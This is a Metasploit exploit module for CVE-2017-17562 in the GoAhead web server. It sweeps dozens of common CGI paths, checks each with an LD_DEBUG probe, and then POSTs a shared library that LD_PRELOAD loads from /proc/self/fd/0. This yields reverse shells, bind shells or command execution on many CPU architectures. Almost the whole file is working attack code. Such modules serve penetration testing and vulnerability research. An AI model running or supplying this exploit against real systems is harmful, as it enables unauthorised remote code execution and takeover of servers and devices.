##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'GoAhead Web Server LD_PRELOAD Arbitrary Module Load',
        'Description' => %q{
          This module triggers an arbitrary shared library load vulnerability
          in GoAhead web server versions between 2.5 and that have the CGI module
          enabled.
        },
        'Author' => [
          'Daniel Hodson <daniel[at]elttam.com.au>', # Elttam Vulnerability Discovery & Python Exploit
          'h00die',                                  # Metasploit Module
          'hdm',                                     # Metasploit Module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2017-17562' ],
          [ 'URL', 'https://www.elttam.com.au/blog/goahead/' ]
        ],
        'Payload' => {
          'Space' => 5000,
          'DisableNops' => true
        },
        'Platform' => 'linux',
        'Targets' => [

          [
            'Automatic (Reverse Shell)',
            {
              'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'ReverseStub' => true,
              'Payload' => {
                'Compat' => {
                  'PayloadType' => 'cmd_reverse_stub',
                  'ConnectionType' => 'reverse',
                }
              }
            }
          ],

          [
            'Automatic (Bind Shell)',
            {
              'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'BindStub' => true,
              'Payload' => {
                'Compat' => {
                  'PayloadType' => 'cmd_bind_stub',
                  'ConnectionType' => 'bind'
                }
              }
            }
          ],

          [
            'Automatic (Command)',
            { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] }
          ],
          [ 'Linux x86', { 'Arch' => ARCH_X86 } ],
          [ 'Linux x86_64', { 'Arch' => ARCH_X64 } ],
          [ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ],
          [ 'Linux ARM64', { 'Arch' => ARCH_AARCH64 } ],
          [ 'Linux MIPS', { 'Arch' => ARCH_MIPS } ],
          [ 'Linux MIPSLE', { 'Arch' => ARCH_MIPSLE } ],
          [ 'Linux MIPS64', { 'Arch' => ARCH_MIPS64 } ],
          [ 'Linux MIPS64LE', { 'Arch' => ARCH_MIPS64LE } ],

          # PowerPC stubs are currently over the 16384 maximum POST size
          # [ 'Linux PPC',        { 'Arch' => ARCH_PPC } ],
          # [ 'Linux PPC64',      { 'Arch' => ARCH_PPC64 } ],
          # [ 'Linux PPC64 (LE)', { 'Arch' => ARCH_PPC64LE } ],

          [ 'Linux SPARC', { 'Arch' => ARCH_SPARC } ],
          [ 'Linux SPARC64', { 'Arch' => ARCH_SPARC64 } ],
          [ 'Linux s390x', { 'Arch' => ARCH_ZARCH } ],
        ],
        'DefaultOptions' => {
          'SHELL' => '/bin/sh',
        },
        'Privileged' => false,
        'DisclosureDate' => '2017-12-18', # June 9th, technically, via github commit.
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGET_URI', [false, 'The path to a CGI script on the GoAhead server'])
      ]
    )
  end

  # Setup our mapping of Metasploit architectures to gcc architectures
  def setup
    super
    @@payload_arch_mappings = {
      ARCH_X86 => [ 'x86' ],
      ARCH_X64 => [ 'x86_64' ],
      ARCH_MIPS => [ 'mips' ],
      ARCH_MIPSLE => [ 'mipsel' ],
      ARCH_MIPSBE => [ 'mips' ],
      ARCH_MIPS64 => [ 'mips64' ],
      ARCH_MIPS64LE => [ 'mips64el' ],

      # PowerPC stubs are currently over the 16384 maximum POST size
      # ARCH_PPC      => [ 'powerpc' ],
      # ARCH_PPC64    => [ 'powerpc64' ],
      # ARCH_PPC64LE  => [ 'powerpc64le' ],

      ARCH_SPARC => [ 'sparc' ],
      ARCH_SPARC64 => [ 'sparc64' ],
      ARCH_ARMLE => [ 'armel', 'armhf' ],
      ARCH_AARCH64 => [ 'aarch64' ],
      ARCH_ZARCH => [ 's390x' ],
    }

    # Architectures we don't offically support but can shell anyways with interact
    @@payload_arch_bonus = %W{
      mips64el sparc64 s390x
    }

    # General platforms (OS + C library)
    @@payload_platforms = %W{
      linux-glibc
    }
  end

  # Use fancy payload wrappers to make exploitation a joyously lazy exercise
  def cycle_possible_payloads
    template_base = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2017-17562")
    template_list = []
    template_type = nil
    template_arch = nil

    # Handle the generic command types first
    if target.arch.include?(ARCH_CMD)

      # Default to a system() template
      template_type = 'system'

      # Handle reverse_tcp() templates
      if target['ReverseStub']
        template_type = 'reverse'
      end

      # Handle reverse_tcp() templates
      if target['BindStub']
        template_type = 'bind'
      end

      all_architectures = @@payload_arch_mappings.values.flatten.uniq

      # Prioritize the most common architectures first
      %W{x86_64 x86 armel armhf mips mipsel}.each do |t_arch|
        template_list << all_architectures.delete(t_arch)
      end

      # Queue up the rest for later
      all_architectures.each do |t_arch|
        template_list << t_arch
      end

    # Handle the specific architecture targets next
    else
      template_type = 'shellcode'
      target.arch.each do |t_name|
        @@payload_arch_mappings[t_name].each do |t_arch|
          template_list << t_arch
        end
      end
    end

    # Remove any duplicates that may have snuck in
    template_list.uniq!

    # Cycle through each top-level platform we know about
    @@payload_platforms.each do |t_plat|
      # Cycle through each template and yield
      template_list.each do |t_arch|
        wrapper_path = ::File.join(template_base, "goahead-cgi-#{template_type}-#{t_plat}-#{t_arch}.so.gz")
        unless ::File.exist?(wrapper_path)
          raise RuntimeError.new("Missing executable template at #{wrapper_path}")
        end

        data = ''
        ::File.open(wrapper_path, "rb") do |fd|
          data = Rex::Text.ungzip(fd.read)
        end

        pidx = data.index('PAYLOAD')
        if pidx
          data[pidx, payload.encoded.length] = payload.encoded
        end

        if %W{reverse bind}.include?(template_type)
          pidx = data.index("55555")
          if pidx
            data[pidx, 5] = datastore['LPORT'].to_s.ljust(5)
          end
        end

        if 'reverse' == template_type
          pidx = data.index("000.000.000.000")
          if pidx
            data[pidx, 15] = datastore['LHOST'].to_s.ljust(15)
          end
        end

        vprint_status("Using payload wrapper 'goahead-cgi-#{template_type}-#{t_arch}'...")
        yield(data)

        # Introduce a small delay for the payload to stage
        Rex.sleep(0.50)

        # Short-circuit once we have a session
        return if session_created?
      end
    end
  end

  # Start the shell train
  def exploit
    # Find a valid CGI target
    target_uri = find_target_cgi
    return unless target_uri

    # Create wrappers for each potential architecture
    cycle_possible_payloads do |wrapped_payload|
      # Trigger the vulnerability and run the payload
      trigger_payload(target_uri, wrapped_payload)
      return if session_created?
    end
  end

  # Determine whether the target is exploitable
  def check
    # Find a valid CGI target
    target_uri = find_target_cgi
    unless target_uri
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    return Exploit::CheckCode::Vulnerable('The target is vulnerable')
  end

  # Upload and LD_PRELOAD execute the shared library payload
  def trigger_payload(target_uri, wrapped_payload)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri),
      'vars_get' => {
        'LD_PRELOAD' => '/proc/self/fd/0'
      },
      'data' => wrapped_payload
    })

    nil
  end

  # Find an exploitable CGI endpoint. These paths were identified by mining Sonar HTTP datasets
  def find_target_cgi
    target_uris = []
    common_dirs = %W^
      /
      /cgi-bin/
      /cgi/
    ^
    common_exts = ["", ".cgi"]
    common_cgis = %W^
      admin
      apply
      non-CA-rev
      checkCookie
      check_user
      chn/liveView
      cht/liveView
      cnswebserver
      config
      configure/set_link_neg
      configure/swports_adjust
      eng/liveView
      firmware
      getCheckCode
      get_status
      getmac
      getparam
      guest/Login
      home
      htmlmgr
      index
      index/login
      jscript
      kvm
      liveView
      login
      login.asp
      login/login
      login/login-page
      login_mgr
      luci
      main
      main-cgi
      manage/login
      menu
      mlogin
      netbinary
      nobody/Captcha
      nobody/VerifyCode
      normal_userLogin
      otgw
      page
      rulectl
      service
      set_new_config
      sl_webviewer
      ssi
      status
      sysconf
      systemutil
      t/out
      top
      unauth
      upload
      variable
      wanstatu
      webcm
      webmain
      webproc
      webscr
      webviewLogin
      webviewLogin_m64
      webviewer
      welcome
      cgitest
    ^

    if datastore['TARGET_URI'].to_s.length > 0
      target_uris << datastore['TARGET_URI']
    end

    common_dirs.each do |cgi_dir|
      common_cgis.each do |cgi_path|
        common_exts.each do |cgi_ext|
          target_uris << "#{cgi_dir}#{cgi_path}#{cgi_ext}"
        end
      end
    end

    print_status("Searching #{target_uris.length} paths for an exploitable CGI endpoint...")

    target_uris.each do |uri|
      if is_cgi_exploitable?(uri)
        print_good("Exploitable CGI located at #{uri}")
        return uri
      end
    end

    print_error("No valid CGI endpoints identified")
    return
  end

  # Use the output of LD_DEBUG=help to determine whether an endpoint is exploitable
  def is_cgi_exploitable?(uri)
    res = send_request_cgi({ 'uri' => uri, 'method' => 'POST', 'vars_get' => { 'LD_DEBUG' => 'help' } })

    if res
      vprint_status("Request for #{uri} returned #{res.code}: #{res.message}")
    else
      vprint_status("Request for #{uri} did not return a response")
    end

    !!(res && res.body && res.body.to_s.include?("LD_DEBUG_OUTPUT"))
  end

  # This sometimes determines if the CGI module is enabled, but doesn't seem
  # to return the error to the client in newer versions. Unused for now.
  def is_cgi_enabled?
    return true
    res = send_request_cgi({ 'uri' => "/cgi-bin" })
    !!(res && res.body && res.body.to_s.include?("Missing CGI name"))
  end
end
